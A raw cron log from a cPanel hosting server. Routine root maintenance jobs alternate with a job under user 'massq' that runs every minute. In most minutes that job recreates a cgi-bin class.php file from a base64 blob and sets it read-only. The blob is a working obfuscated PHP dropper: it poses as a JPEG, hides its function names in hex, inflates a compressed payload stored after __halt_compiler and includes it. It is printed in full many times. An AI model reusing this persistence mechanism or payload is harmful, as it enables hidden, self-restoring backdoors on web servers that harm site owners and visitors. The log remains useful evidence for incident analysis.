Sep  9 01:28:01 server CROND[11844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:28:01 server CROND[11845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:29:01 server CROND[12241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:29:01 server CROND[12242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:29:01 server CROND[12243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:30:01 server CROND[12659]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 01:30:01 server CROND[12662]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:30:01 server CROND[12666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:30:01 server CROND[12665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:30:01 server CROND[12663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:30:01 server CROND[12667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:30:01 server CROND[12664]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 01:30:01 server CROND[12661]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 01:31:01 server CROND[13587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:31:01 server CROND[13589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:31:01 server CROND[13588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:32:01 server CROND[14330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:32:01 server CROND[14331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:32:01 server CROND[14332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:33:01 server CROND[15362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:33:01 server CROND[15364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:33:01 server CROND[15363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:34:01 server CROND[16246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:34:01 server CROND[16247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:34:01 server CROND[16248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:35:01 server CROND[16874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:35:01 server CROND[16875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:35:01 server CROND[16876]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 01:35:01 server CROND[16877]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 01:35:01 server CROND[16883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:35:01 server CROND[16886]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 01:35:01 server CROND[16882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:35:01 server CROND[16884]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 01:35:01 server CROND[16885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:36:01 server CROND[17837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:36:01 server CROND[17838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:36:01 server CROND[17839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:37:01 server CROND[18224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:37:01 server CROND[18225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:37:01 server CROND[18226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:38:01 server CROND[18599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:38:01 server CROND[18600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:38:01 server CROND[18601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:39:01 server CROND[18986]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 01:39:01 server CROND[18987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:39:01 server CROND[18988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:39:01 server CROND[18985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
